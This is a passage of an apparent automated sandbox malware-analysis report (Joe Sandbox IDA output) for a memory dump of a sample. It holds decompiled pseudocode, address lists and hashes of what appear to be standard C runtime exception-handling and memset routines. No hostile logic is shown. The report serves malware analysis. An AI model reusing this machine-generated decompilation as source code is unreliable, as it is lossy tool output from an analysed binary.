          												break;
          											}
          											__eflags = _t273;
          											if(_t273 == 0) {
          												L97:
          												_t210 = _t317;
          											} else {
          												_t274 =  *((intOrPtr*)(_t276 + 1));
          												__eflags = _t274 -  *((intOrPtr*)(_t209 + 1));
          												if(_t274 !=  *((intOrPtr*)(_t209 + 1))) {
          													break;
          												} else {
          													_t276 = _t276 + 2;
          													_t209 = _t209 + 2;
          													__eflags = _t274;
          													if(_t274 != 0) {
          														continue;
          													} else {
          														goto L97;
          													}
          												}
          											}
          											L99:
          											__eflags = _t210;
          											if(_t210 == 0) {
          												goto L101;
          											} else {
          												_t207 = 0;
          											}
          											goto L110;
          										}
          										asm("sbb eax, eax");
          										_t210 = _t209 | 0x00000001;
          										__eflags = _t210;
          										goto L99;
          									}
          								} else {
          									__eflags =  *_t304 & 0x00000010;
          									if(( *_t304 & 0x00000010) != 0) {
          										goto L109;
          									} else {
          										goto L91;
          									}
          								}
          							}
          						}
          						L110:
          						return _t207;
          					}
          				} else {
          					_t270 = _a4;
          					if( *_t270 != 0xe06d7363 || _t270[0x10] != 3 || _t270[0x14] != 0x19930520 && _t270[0x14] != 0x19930521 && _t270[0x14] != 0x19930522) {
          						L22:
          						_t296 = _a12;
          						_v8 = _t296;
          						goto L24;
          					} else {
          						_t315 = 0;
          						if(_t270[0x1c] != 0) {
          							goto L22;
          						} else {
          							_t224 = E004029B3(_t270, _t275, _t296, 0);
          							if( *((intOrPtr*)(_t224 + 0x10)) == 0) {
          								L61:
          								return _t224;
          							} else {
          								_t270 =  *(E004029B3(_t270, _t275, _t296, 0) + 0x10);
          								_t259 = E004029B3(_t270, _t275, _t296, 0);
          								_v28 = 1;
          								_v8 =  *((intOrPtr*)(_t259 + 0x14));
          								if(_t270 == 0 ||  *_t270 == 0xe06d7363 && _t270[0x10] == 3 && (_t270[0x14] == 0x19930520 || _t270[0x14] == 0x19930521 || _t270[0x14] == 0x19930522) && _t270[0x1c] == _t315) {
          									goto L67;
          								} else {
          									if( *((intOrPtr*)(E004029B3(_t270, _t275, _t296, _t315) + 0x1c)) == _t315) {
          										L23:
          										_t296 = _v8;
          										_t275 = _v12;
          										L24:
          										_v52 = _t301;
          										_v48 = 0;
          										__eflags =  *_t270 - 0xe06d7363;
          										if( *_t270 != 0xe06d7363) {
          											L57:
          											__eflags = _t301[3];
          											if(_t301[3] <= 0) {
          												goto L60;
          											} else {
          												__eflags = _a24;
          												if(_a24 != 0) {
          													goto L67;
          												} else {
          													_push(_a32);
          													_push(_a28);
          													_push(_t275);
          													_push(_t301);
          													_push(_a16);
          													_push(_t296);
          													_push(_a8);
          													_push(_t270);
          													L68();
          													_t332 = _t332 + 0x20;
          													goto L60;
          												}
          											}
          										} else {
          											__eflags = _t270[0x10] - 3;
          											if(_t270[0x10] != 3) {
          												goto L57;
          											} else {
          												__eflags = _t270[0x14] - 0x19930520;
          												if(_t270[0x14] == 0x19930520) {
          													L29:
          													_t315 = _a32;
          													__eflags = _t301[3];
          													if(_t301[3] > 0) {
          														_push(_a28);
          														E00402D64(_t270, _t275, _t301, _t315,  &_v68,  &_v52, _t275, _a16, _t301);
          														_t296 = _v64;
          														_t332 = _t332 + 0x18;
          														_t247 = _v68;
          														_v44 = _t247;
          														_v16 = _t296;
          														__eflags = _t296 - _v56;
          														if(_t296 < _v56) {
          															_t290 = _t296 * 0x14;
          															__eflags = _t290;
          															_v32 = _t290;
          															do {
          																_t291 = 5;
          																_t250 = memcpy( &_v104,  *((intOrPtr*)( *_t247 + 0x10)) + _t290, _t291 << 2);
          																_t332 = _t332 + 0xc;
          																__eflags = _v104 - _t250;
          																if(_v104 <= _t250) {
          																	__eflags = _t250 - _v100;
          																	if(_t250 <= _v100) {
          																		_t294 = 0;
          																		_v20 = 0;
          																		__eflags = _v92;
          																		if(_v92 != 0) {
          																			_t299 = _t270[0x1c];
          																			_t251 =  *((intOrPtr*)(_t299 + 0xc));
          																			_t252 = _t251 + 4;
          																			__eflags = _t252;
          																			_v36 = _t252;
          																			_t253 = _v88;
          																			_v40 =  *_t251;
          																			_v24 = _t253;
          																			do {
          																				asm("movsd");
          																				asm("movsd");
          																				asm("movsd");
          																				asm("movsd");
          																				_t327 = _v40;
          																				_t314 = _v36;
          																				__eflags = _t327;
          																				if(_t327 <= 0) {
          																					goto L40;
          																				} else {
          																					while(1) {
          																						_push(_t299);
          																						_push( *_t314);
          																						_t254 =  &_v84;
          																						_push(_t254);
          																						L87();
          																						_t332 = _t332 + 0xc;
          																						__eflags = _t254;
          																						if(_t254 != 0) {
          																							break;
          																						}
          																						_t299 = _t270[0x1c];
          																						_t327 = _t327 - 1;
          																						_t314 = _t314 + 4;
          																						__eflags = _t327;
          																						if(_t327 > 0) {
          																							continue;
          																						} else {
          																							_t294 = _v20;
          																							_t253 = _v24;
          																							goto L40;
          																						}
          																						goto L43;
          																					}
          																					_push(_a24);
          																					_push(_v28);
          																					E0040386B(_t299, _t270, _a8, _v8, _a16, _a20,  &_v84,  *_t314,  &_v104, _a28, _a32);
          																					_t332 = _t332 + 0x30;
          																				}
          																				L43:
          																				_t296 = _v16;
          																				goto L44;
          																				L40:
          																				_t294 = _t294 + 1;
          																				_t253 = _t253 + 0x10;
          																				_v20 = _t294;
          																				_v24 = _t253;
          																				__eflags = _t294 - _v92;
          																			} while (_t294 != _v92);
          																			goto L43;
          																		}
          																	}
          																}
          																L44:
          																_t296 = _t296 + 1;
          																_t247 = _v44;
          																_t290 = _v32 + 0x14;
          																_v16 = _t296;
          																_v32 = _t290;
          																__eflags = _t296 - _v56;
          															} while (_t296 < _v56);
          															_t301 = _a20;
          															_t315 = _a32;
          														}
          													}
          													__eflags = _a24;
          													if(__eflags != 0) {
          														_push(1);
          														E0040263C(_t270, _t301, _t315, __eflags);
          														_t275 = _t270;
          													}
          													__eflags = ( *_t301 & 0x1fffffff) - 0x19930521;
          													if(( *_t301 & 0x1fffffff) < 0x19930521) {
          														L60:
          														_t224 = E004029B3(_t270, _t275, _t296, _t315);
          														__eflags =  *(_t224 + 0x1c);
          														if( *(_t224 + 0x1c) != 0) {
          															goto L67;
          														} else {
          															goto L61;
          														}
          													} else {
          														_t228 = _t301[8] >> 2;
          														__eflags = _t301[7];
          														if(_t301[7] != 0) {
          															__eflags = _t228 & 0x00000001;
          															if((_t228 & 0x00000001) == 0) {
          																_push(_t301[7]);
          																_t229 = E0040436A(_t270, _t301, _t315, _t270);
          																_pop(_t275);
          																__eflags = _t229;
          																if(_t229 == 0) {
          																	goto L64;
          																} else {
          																	goto L60;
          																}
          															} else {
          																goto L54;
          															}
          														} else {
          															__eflags = _t228 & 0x00000001;
          															if((_t228 & 0x00000001) == 0) {
          																goto L60;
          															} else {
          																__eflags = _a28;
          																if(_a28 != 0) {
          																	goto L60;
          																} else {
          																	L54:
          																	 *(E004029B3(_t270, _t275, _t296, _t315) + 0x10) = _t270;
          																	_t237 = E004029B3(_t270, _t275, _t296, _t315);
          																	_t286 = _v8;
          																	 *((intOrPtr*)(_t237 + 0x14)) = _v8;
          																	goto L62;
          																}
          															}
          														}
          													}
          												} else {
          													__eflags = _t270[0x14] - 0x19930521;
          													if(_t270[0x14] == 0x19930521) {
          														goto L29;
          													} else {
          														__eflags = _t270[0x14] - 0x19930522;
          														if(_t270[0x14] != 0x19930522) {
          															goto L57;
          														} else {
          															goto L29;
          														}
          													}
          												}
          											}
          										}
          									} else {
          										_v16 =  *((intOrPtr*)(E004029B3(_t270, _t275, _t296, _t315) + 0x1c));
          										_t264 = E004029B3(_t270, _t275, _t296, _t315);
          										_push(_v16);
          										 *(_t264 + 0x1c) = _t315;
          										_t265 = E0040436A(_t270, _t301, _t315, _t270);
          										_pop(_t286);
          										if(_t265 != 0) {
          											goto L23;
          										} else {
          											_t301 = _v16;
          											_t353 =  *_t301 - _t315;
          											if( *_t301 <= _t315) {
          												L62:
          												E004056DE(_t270, _t286, _t296, _t301, _t315, __eflags);
          											} else {
          												while(1) {
          													_t286 =  *((intOrPtr*)(_t315 + _t301[1] + 4));
          													if(E00403FC6( *((intOrPtr*)(_t315 + _t301[1] + 4)), _t353, 0x4158ac) != 0) {
          														goto L63;
          													}
          													_t315 = _t315 + 0x10;
          													_t269 = _v20 + 1;
          													_v20 = _t269;
          													_t353 = _t269 -  *_t301;
          													if(_t269 >=  *_t301) {
          														goto L62;
          													} else {
          														continue;
          													}
          													goto L63;
          												}
          											}
          											L63:
          											_push(1);
          											_push(_t270);
          											E0040263C(_t270, _t301, _t315, __eflags);
          											_t275 =  &_v64;
          											E00403F71( &_v64);
          											E0040225B( &_v64, 0x413554);
          											L64:
          											 *(E004029B3(_t270, _t275, _t296, _t315) + 0x10) = _t270;
          											_t231 = E004029B3(_t270, _t275, _t296, _t315);
          											_t275 = _v8;
          											 *(_t231 + 0x14) = _v8;
          											__eflags = _t315;
          											if(_t315 == 0) {
          												_t315 = _a8;
          											}
          											E00402F57(_t275, _t315, _t270);
          											E0040426A(_a8, _a16, _t301);
          											_t234 = E00404427(_t301);
          											_t332 = _t332 + 0x10;
          											_push(_t234);
          											E004041E1(_t270, _t275, _t296, _t301, _t315, __eflags);
          											goto L67;
          										}
          									}
          								}
          							}
          						}
          					}
          				}
          			}






















































































          0x004038eb
          0x004038f2
          0x004038f4
          0x004038fd
          0x00403903
          0x0040390b
          0x0040390d
          0x00403910
          0x00403916
          0x00403c8a
          0x00403c8a
          0x00403c8f
          0x00403c91
          0x00403c93
          0x00403c96
          0x00403c97
          0x00403c9a
          0x00403ca0
          0x00403dbf
          0x00403ca6
          0x00403ca6
          0x00403ca7
          0x00403ca8
          0x00403caf
          0x00403cb2
          0x00403cb5
          0x00403cbb
          0x00403cbd
          0x00403cc2
          0x00403cc5
          0x00403cc7
          0x00403ccd
          0x00403ccf
          0x00403cd5
          0x00403cea
          0x00403cef
          0x00403cf2
          0x00403cf4
          0x00403dbb
          0x00000000
          0x00403dbc
          0x00403cf4
          0x00403cd5
          0x00403ccd
          0x00403cc5
          0x00403cfa
          0x00403cfd
          0x00403d00
          0x00403d03
          0x00403d06
          0x00403d0c
          0x00403d1e
          0x00403d23
          0x00403d26
          0x00403d29
          0x00403d2c
          0x00403d2f
          0x00403d32
          0x00403d35
          0x00000000
          0x00000000
          0x00403d3b
          0x00403d3b
          0x00403d3e
          0x00403d41
          0x00403d50
          0x00403d51
          0x00403d51
          0x00403d53
          0x00403d56
          0x00000000
          0x00000000
          0x00403d58
          0x00403d5b
          0x00000000
          0x00000000
          0x00403d69
          0x00403d6b
          0x00403d6e
          0x00403d70
          0x00403d78
          0x00403d78
          0x00403d7b
          0x00403d7d
          0x00403d7f
          0x00403d9b
          0x00403da0
          0x00403da3
          0x00403da3
          0x00000000
          0x00403d7b
          0x00403d72
          0x00403d76
          0x00000000
          0x00000000
          0x00000000
          0x00403da6
          0x00403da9
          0x00403daa
          0x00403dad
          0x00403db0
          0x00403db3
          0x00403db6
          0x00403db6
          0x00000000
          0x00403d41
          0x00403dc0
          0x00403dc5
          0x00403dc6
          0x00403dc9
          0x00403dcc
          0x00403dcd
          0x00403dce
          0x00403dcf
          0x00403dd2
          0x00403dd4
          0x00403e4c
          0x00403e4e
          0x00403e4e
          0x00403dd6
          0x00403dd6
          0x00403dd9
          0x00403ddc
          0x00000000
          0x00403dde
          0x00403dde
          0x00403de1
          0x00403de4
          0x00403deb
          0x00403deb
          0x00403dee
          0x00403df0
          0x00403df2
          0x00403e24
          0x00403e24
          0x00403e27
          0x00403e2e
          0x00403e2e
          0x00403e31
          0x00403e34
          0x00403e3b
          0x00403e3b
          0x00403e3e
          0x00403e45
          0x00403e47
          0x00403e47
          0x00403e40
          0x00403e40
          0x00403e43
          0x00000000
          0x00000000
          0x00403e43
          0x00403e36
          0x00403e36
          0x00403e39
          0x00000000
          0x00000000
          0x00403e39
          0x00403e29
          0x00403e29
          0x00403e2c
          0x00000000
          0x00000000
          0x00403e2c
          0x00403e48
          0x00403df4
          0x00403df4
          0x00403df4
          0x00403df7
          0x00403df7
          0x00403df9
          0x00403dfb
          0x00000000
          0x00000000
          0x00403dfd
          0x00403dff
          0x00403e13
          0x00403e13
          0x00403e01
          0x00403e01
          0x00403e04
          0x00403e07
          0x00000000
          0x00403e09
          0x00403e09
          0x00403e0c
          0x00403e0f
          0x00403e11
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00403e11
          0x00403e07
          0x00403e1c
          0x00403e1c
          0x00403e1e
          0x00000000
          0x00403e20
          0x00403e20
          0x00403e20
          0x00000000
          0x00403e1e
          0x00403e17
          0x00403e19
          0x00403e19
          0x00000000
          0x00403e19
          0x00403de6
          0x00403de6
          0x00403de9
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00403de9
          0x00403de4
          0x00403ddc
          0x00403e4f
          0x00403e53
          0x00403e53
          0x00403925
          0x00403925
          0x0040392e
          0x00403a2b
          0x00403a2b
          0x00403a2e
          0x00000000
          0x0040395d
          0x0040395d
          0x00403962
          0x00000000
          0x00403968
          0x00403968
          0x00403970
          0x00403c24
          0x00403c28
          0x00403976
          0x0040397b
          0x0040397e
          0x00403983
          0x0040398a
          0x0040398f
          0x00000000
          0x004039c7
          0x004039cf
          0x00403a33
          0x00403a33
          0x00403a36
          0x00403a39
          0x00403a3b
          0x00403a3e
          0x00403a41
          0x00403a47
          0x00403bf3
          0x00403bf3
          0x00403bf6
          0x00000000
          0x00403bf8
          0x00403bf8
          0x00403bfb
          0x00000000
          0x00403c01
          0x00403c01
          0x00403c04
          0x00403c07
          0x00403c08
          0x00403c09
          0x00403c0c
          0x00403c0d
          0x00403c10
          0x00403c11
          0x00403c16
          0x00000000
          0x00403c16
          0x00403bfb
          0x00403a4d
          0x00403a4d
          0x00403a51
          0x00000000
          0x00403a57
          0x00403a57
          0x00403a5e
          0x00403a76
          0x00403a76
          0x00403a79
          0x00403a7c
          0x00403a82
          0x00403a92
          0x00403a97
          0x00403a9a
          0x00403a9d
          0x00403aa0
          0x00403aa3
          0x00403aa6
          0x00403aa9
          0x00403aaf
          0x00403aaf
          0x00403ab2
          0x00403ab5
          0x00403ac4
          0x00403ac5
          0x00403ac5
          0x00403ac7
          0x00403aca
          0x00403ad0
          0x00403ad3
          0x00403ad9
          0x00403adb
          0x00403ade
          0x00403ae1
          0x00403ae7
          0x00403aea
          0x00403aef
          0x00403aef
          0x00403af2
          0x00403af5
          0x00403af8
          0x00403afb
          0x00403afe
          0x00403b03
          0x00403b04
          0x00403b05
          0x00403b06
          0x00403b07
          0x00403b0a
          0x00403b0d
          0x00403b0f
          0x00000000
          0x00403b11
          0x00403b11
          0x00403b11
          0x00403b12
          0x00403b14
          0x00403b17
          0x00403b18
          0x00403b1d
          0x00403b20
          0x00403b22
          0x00000000
          0x00000000
          0x00403b24
          0x00403b27
          0x00403b28
          0x00403b2b
          0x00403b2d
          0x00000000
          0x00403b2f
          0x00403b2f
          0x00403b32
          0x00000000
          0x00403b32
          0x00000000
          0x00403b2d
          0x00403b46
          0x00403b4c
          0x00403b69
          0x00403b6e
          0x00403b6e
          0x00403b71
          0x00403b71
          0x00000000
          0x00403b35
          0x00403b35
          0x00403b36
          0x00403b39
          0x00403b3c
          0x00403b3f
          0x00403b3f
          0x00000000
          0x00403b44
          0x00403ae1
          0x00403ad3
          0x00403b74
          0x00403b77
          0x00403b78
          0x00403b7b
          0x00403b7e
          0x00403b81
          0x00403b84
          0x00403b84
          0x00403b8d
          0x00403b90
          0x00403b90
          0x00403aa9
          0x00403b93
          0x00403b97
          0x00403b99
          0x00403b9c
          0x00403ba2
          0x00403ba2
          0x00403baa
          0x00403baf
          0x00403c19
          0x00403c19
          0x00403c1e
          0x00403c22
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00403bb1
          0x00403bb4
          0x00403bb7
          0x00403bbb
          0x00403bc9
          0x00403bcb
          0x00403be2
          0x00403be6
          0x00403bec
          0x00403bed
          0x00403bef
          0x00000000
          0x00403bf1
          0x00000000
          0x00403bf1
          0x00000000
          0x00000000
          0x00000000
          0x00403bbd
          0x00403bbd
          0x00403bbf
          0x00000000
          0x00403bc1
          0x00403bc1
          0x00403bc5
          0x00000000
          0x00403bc7
          0x00403bcd
          0x00403bd2
          0x00403bd5
          0x00403bda
          0x00403bdd
          0x00000000
          0x00403bdd
          0x00403bc5
          0x00403bbf
          0x00403bbb
          0x00403a60
          0x00403a60
          0x00403a67
          0x00000000
          0x00403a69
          0x00403a69
          0x00403a70
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00403a70
          0x00403a67
          0x00403a5e
          0x00403a51
          0x004039d1
          0x004039d9
          0x004039dc
          0x004039e1
          0x004039e5
          0x004039e8
          0x004039ee
          0x004039f1
          0x00000000
          0x004039f3
          0x004039f3
          0x004039f6
          0x004039f8
          0x00403c29
          0x00403c29
          0x00000000
          0x004039fe
          0x00403a06
          0x00403a11
          0x00000000
          0x00000000
          0x00403a1a
          0x00403a1d
          0x00403a1e
          0x00403a21
          0x00403a23
          0x00000000
          0x00403a29
          0x00000000
          0x00403a29
          0x00000000
          0x00403a23
          0x004039fe
          0x00403c2e
          0x00403c2e
          0x00403c30
          0x00403c31
          0x00403c38
          0x00403c3b
          0x00403c49
          0x00403c4e
          0x00403c53
          0x00403c56
          0x00403c5b
          0x00403c5e
          0x00403c61
          0x00403c63
          0x00403c65
          0x00403c65
          0x00403c6a
          0x00403c76
          0x00403c7c
          0x00403c81
          0x00403c84
          0x00403c85
          0x00000000
          0x00403c85
          0x004039f1
          0x004039cf
          0x0040398f
          0x00403970
          0x00403962
          0x0040392e

          APIs
          • type_info::operator==.LIBVCRUNTIME ref: 00403A0A
          • ___TypeMatch.LIBVCRUNTIME ref: 00403B18
          • _UnwindNestedFrames.LIBCMT ref: 00403C6A
          • CallUnexpected.LIBVCRUNTIME ref: 00403C85
          Strings
          Memory Dump Source
          • Source File: 00000003.00000002.506813096.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_3_2_400000_rtvzitvzef.jbxd
          Similarity
          • API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
          • String ID: csm$csm$csm
          • API String ID: 2751267872-393685449
          • Opcode ID: d2805ed157ee1a0de980ebf95ce551697e3ac2d298d2a0e6c6e08f639c5bac21
          • Instruction ID: eb951dfd93c377336a0bd22ac6a7177933b6abc1ee62d3cbfcc6e570eabf6f1d
          • Opcode Fuzzy Hash: d2805ed157ee1a0de980ebf95ce551697e3ac2d298d2a0e6c6e08f639c5bac21
          • Instruction Fuzzy Hash: 00B17A75900209DFCF15DFA5C9819AEBBB8BF04316F14416BE8017B292C379EA51CF99
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 53%
          			E00402310(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* _a4, intOrPtr _a8, intOrPtr _a12) {
          				char _v5;
          				signed int _v12;
          				char _v16;
          				intOrPtr _v20;
          				intOrPtr _v24;
          				intOrPtr _v28;
          				signed int _v32;
          				signed char _v36;
          				void* _v40;
          				signed int _t77;
          				signed int _t84;
          				intOrPtr _t85;
          				void* _t86;
          				intOrPtr* _t87;
          				intOrPtr _t89;
          				signed int _t91;
          				int _t93;
          				signed int _t98;
          				intOrPtr* _t102;
          				intOrPtr _t103;
          				signed int _t107;
          				char _t109;
          				signed int _t113;
          				void* _t114;
          				intOrPtr _t123;
          				void* _t125;
          				intOrPtr _t133;
          				signed int _t135;
          				void* _t139;
          				void* _t141;
          				void* _t149;
          
          				_t118 = __edx;
          				_t102 = _a4;
          				_push(__edi);
          				_v5 = 0;
          				_v16 = 1;
          				 *_t102 = E0040D360(__ecx,  *_t102);
          				_t103 = _a8;
          				_t6 = _t103 + 0x10; // 0x11
          				_t133 = _t6;
          				_push(_t133);
          				_v20 = _t133;
          				_v12 =  *(_t103 + 8) ^  *0x415010;
          				E004022D0(_t103, __edx, __edi, _t133,  *(_t103 + 8) ^  *0x415010);
          				E00402967(_a12);
          				_t77 = _a4;
          				_t141 = _t139 - 0x1c + 0x10;
          				_t123 =  *((intOrPtr*)(_t103 + 0xc));
          				if(( *(_t77 + 4) & 0x00000066) != 0) {
          					__eflags = _t123 - 0xfffffffe;
          					if(_t123 != 0xfffffffe) {
          						_t118 = 0xfffffffe;
          						E00402950(_t103, 0xfffffffe, _t133, 0x415010);
          						goto L13;
          					}
          					goto L14;
          				} else {
          					_v32 = _t77;
          					_v28 = _a12;
          					 *((intOrPtr*)(_t103 - 4)) =  &_v32;
          					if(_t123 == 0xfffffffe) {
          						L14:
          						return _v16;
          					} else {
          						do {
          							_t107 = _v12;
          							_t84 = _t123 + (_t123 + 2) * 2;
          							_t103 =  *((intOrPtr*)(_t107 + _t84 * 4));
          							_t85 = _t107 + _t84 * 4;
          							_t108 =  *((intOrPtr*)(_t85 + 4));
          							_v24 = _t85;
          							if( *((intOrPtr*)(_t85 + 4)) == 0) {
          								_t109 = _v5;
          								goto L7;
          							} else {
          								_t118 = _t133;
          								_t86 = E004028F0(_t108, _t133);
          								_t109 = 1;
          								_v5 = 1;
          								_t149 = _t86;
          								if(_t149 < 0) {
          									_v16 = 0;
          									L13:
          									_push(_t133);
          									E004022D0(_t103, _t118, _t123, _t133, _v12);
          									goto L14;
          								} else {
          									if(_t149 > 0) {
          										_t87 = _a4;
          										__eflags =  *_t87 - 0xe06d7363;
          										if( *_t87 == 0xe06d7363) {
          											__eflags =  *0x40e1c4;
          											if(__eflags != 0) {
          												_t98 = E0040D1F0(__eflags, "<&@");
          												_t141 = _t141 + 4;
          												__eflags = _t98;
          												if(_t98 != 0) {
          													_t135 =  *0x40e1c4; // 0x40263c
          													 *0x40e160(_a4, 1);
          													 *_t135();
          													_t133 = _v20;
          													_t141 = _t141 + 8;
          												}
          												_t87 = _a4;
          											}
          										}
          										_t119 = _t87;
          										E00402930(_t87, _a8, _t87);
          										_t89 = _a8;
          										__eflags =  *((intOrPtr*)(_t89 + 0xc)) - _t123;
          										if( *((intOrPtr*)(_t89 + 0xc)) != _t123) {
          											_t119 = _t123;
          											E00402950(_t89, _t123, _t133, 0x415010);
          											_t89 = _a8;
          										}
          										_push(_t133);
          										 *((intOrPtr*)(_t89 + 0xc)) = _t103;
          										E004022D0(_t103, _t119, _t123, _t133, _v12);
          										E00402910();
          										asm("int3");
          										asm("int3");
          										asm("int3");
          										_t113 = _v32;
          										_t91 = _v36 & 0x000000ff;
          										_t125 = _v40;
          										__eflags = _t113;
          										if(_t113 == 0) {
          											L46:
          											return _v40;
          										} else {
          											_t93 = _t91 * 0x1010101;
          											__eflags = _t113 - 0x20;
          											if(_t113 <= 0x20) {
          												L39:
          												__eflags = _t113 & 0x00000003;
          												while((_t113 & 0x00000003) != 0) {
          													 *_t125 = _t93;
          													_t125 = _t125 + 1;
          													_t113 = _t113 - 1;
          													__eflags = _t113 & 0x00000003;
          												}
          												__eflags = _t113 & 0x00000004;
          												if((_t113 & 0x00000004) != 0) {
          													 *_t125 = _t93;
          													_t125 = _t125 + 4;
          													_t113 = _t113 - 4;
          													__eflags = _t113;
          												}
          												__eflags = _t113 & 0xfffffff8;
          												while((_t113 & 0xfffffff8) != 0) {
          													 *_t125 = _t93;
          													 *(_t125 + 4) = _t93;
          													_t125 = _t125 + 8;
          													_t113 = _t113 - 8;
          													__eflags = _t113 & 0xfffffff8;
          												}
          												goto L46;
          											} else {
          												__eflags = _t113 - 0x80;
          												if(__eflags < 0) {
          													L33:
          													asm("bt dword [0x415030], 0x1");
          													if(__eflags >= 0) {
          														goto L39;
          													} else {
          														asm("movd xmm0, eax");
          														asm("pshufd xmm0, xmm0, 0x0");
          														goto L35;
          													}
          												} else {
          													asm("bt dword [0x415c68], 0x1");
          													if(__eflags >= 0) {
          														asm("bt dword [0x415030], 0x1");
          														if(__eflags >= 0) {
          															goto L39;
          														} else {
          															asm("movd xmm0, eax");
          															asm("pshufd xmm0, xmm0, 0x0");
          															_t114 = _t125 + _t113;
          															asm("movups [edi], xmm0");
          															_t125 = _t125 + 0x00000010 & 0xfffffff0;
          															_t113 = _t114 - _t125;
          															__eflags = _t113 - 0x80;
          															if(__eflags <= 0) {
          																goto L33;
          															} else {
          																do {
          																	asm("movdqa [edi], xmm0");
          																	asm("movdqa [edi+0x10], xmm0");
          																	asm("movdqa [edi+0x20], xmm0");
          																	asm("movdqa [edi+0x30], xmm0");
          																	asm("movdqa [edi+0x40], xmm0");
          																	asm("movdqa [edi+0x50], xmm0");
          																	asm("movdqa [edi+0x60], xmm0");
          																	asm("movdqa [edi+0x70], xmm0");
          																	_t125 = _t125 + 0x80;
          																	_t113 = _t113 - 0x80;
          																	__eflags = _t113 & 0xffffff00;
          																} while ((_t113 & 0xffffff00) != 0);
          																L35:
          																__eflags = _t113 - 0x20;
          																if(_t113 < 0x20) {
          																	L38:
          																	asm("movdqu [edi], xmm0");
          																	asm("movdqu [edi+0x10], xmm0");
          																	return _v40;
          																} else {
          																	do {
          																		asm("movdqu [edi], xmm0");
          																		asm("movdqu [edi+0x10], xmm0");
          																		_t125 = _t125 + 0x20;
          																		_t113 = _t113 - 0x20;
          																		__eflags = _t113 - 0x20;
          																	} while (_t113 >= 0x20);
          																	__eflags = _t113 & 0x0000001f;
          																	if((_t113 & 0x0000001f) == 0) {
          																		goto L46;
          																	} else {
          																		goto L38;
          																	}
          																}
          															}
          														}
          													} else {
          														memset(_t125, _t93, _t113 << 0);
          														return _v40;
          													}
          												}
          											}
          										}
          									} else {
          										goto L7;
          									}
          								}
          							}
          							goto L47;
          							L7:
          							_t123 = _t103;
          						} while (_t103 != 0xfffffffe);
          						if(_t109 != 0) {
          							goto L13;
          						}
          						goto L14;
          					}
          				}
          				L47:
          			}


































          0x00402310
          0x00402317
          0x0040231b
          0x0040231c
          0x00402322
          0x0040232e
          0x00402330
          0x00402336
          0x00402336
          0x0040233f
          0x00402341
          0x00402344
          0x00402347
          0x0040234f
          0x00402354
          0x00402357
          0x0040235a
          0x00402361
          0x004023bd
          0x004023c0
          0x004023c8
          0x004023cf
          0x00000000
          0x004023cf
          0x00000000
          0x00402363
          0x00402363
          0x00402369
          0x0040236f
          0x00402375
          0x004023e0
          0x004023e9
          0x00402377
          0x00402377
          0x00402377
          0x0040237d
          0x00402380
          0x00402383
          0x00402386
          0x00402389
          0x0040238e
          0x004023a4
          0x00000000
          0x00402390
          0x00402390
          0x00402392
          0x00402397
          0x00402399
          0x0040239c
          0x0040239e
          0x004023b4
          0x004023d4
          0x004023d4
          0x004023d8
          0x00000000
          0x004023a0
          0x004023a0
          0x004023ea
          0x004023ed
          0x004023f3
          0x004023f5
          0x004023fc
          0x00402403
          0x00402408
          0x0040240b
          0x0040240d
          0x0040240f
          0x0040241c
          0x00402422
          0x00402424
          0x00402427
          0x00402427
          0x0040242a
          0x0040242a
          0x004023fc
          0x00402430
          0x00402432
          0x00402437
          0x0040243a
          0x0040243d
          0x00402445
          0x00402449
          0x0040244e
          0x0040244e
          0x00402451
          0x00402455
          0x00402458
          0x00402468
          0x0040246d
          0x0040246e
          0x0040246f
          0x00402470
          0x00402474
          0x0040247b
          0x0040247f
          0x00402481
          0x004025c3
          0x004025c9
          0x00402487
          0x00402487
          0x0040248d
          0x00402490
          0x00402575
          0x00402575
          0x0040257b
          0x0040257d
          0x0040257f
          0x00402580
          0x00402583
          0x00402583
          0x0040258b
          0x00402591
          0x00402593
          0x00402595
          0x00402598
          0x00402598
          0x00402598
          0x0040259b
          0x004025a1
          0x004025b0
          0x004025b2
          0x004025b5
          0x004025b8
          0x004025bb
          0x004025bb
          0x00000000
          0x00402496
          0x00402496
          0x0040249c
          0x0040252d
          0x0040252d
          0x00402535
          0x00000000
          0x00402537
          0x00402537
          0x0040253b
          0x00000000
          0x0040253b
          0x004024a2
          0x004024a2
          0x004024aa
          0x004024b5
          0x004024bd
          0x00000000
          0x004024c3
          0x004024c3
          0x004024c7
          0x004024cc
          0x004024ce
          0x004024d4
          0x004024d7
          0x004024d9
          0x004024df
          0x00000000
          0x004024f0
          0x004024f0
          0x004024f0
          0x004024f4
          0x004024f9
          0x004024fe
          0x00402503
          0x00402508
          0x0040250d
          0x00402512
          0x00402517
          0x0040251d
          0x00402523
          0x00402523
          0x00402540
          0x00402540
          0x00402543
          0x00402561
          0x00402565
          0x00402569
          0x00402574
          0x00402545
          0x00402545
          0x00402545
          0x00402549
          0x0040254e
          0x00402551
          0x00402554
          0x00402554
          0x00402559
          0x0040255f
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x0040255f
          0x00402543
          0x004024df
          0x004024ac
          0x004024ac
          0x004024b4
          0x004024b4
          0x004024aa
          0x0040249c
          0x00402490
          0x004023a2
          0x00000000
          0x004023a2
          0x004023a0
          0x0040239e
          0x00000000
          0x004023a7
          0x004023a7
          0x004023a9
          0x004023b0
          0x00000000
          0x004023b2
          0x00000000
          0x004023b0
          0x00402375
          0x00000000

          APIs
          • _ValidateLocalCookies.LIBCMT ref: 00402347
          • ___except_validate_context_record.LIBVCRUNTIME ref: 0040234F
          • _ValidateLocalCookies.LIBCMT ref: 004023D8
          • __IsNonwritableInCurrentImage.LIBCMT ref: 00402403
          • _ValidateLocalCookies.LIBCMT ref: 00402458
          Strings
          Memory Dump Source
          • Source File: 00000003.00000002.506813096.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_3_2_400000_rtvzitvzef.jbxd
          Similarity
          • API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
          • String ID: <&@$csm
          • API String ID: 1170836740-4289465445
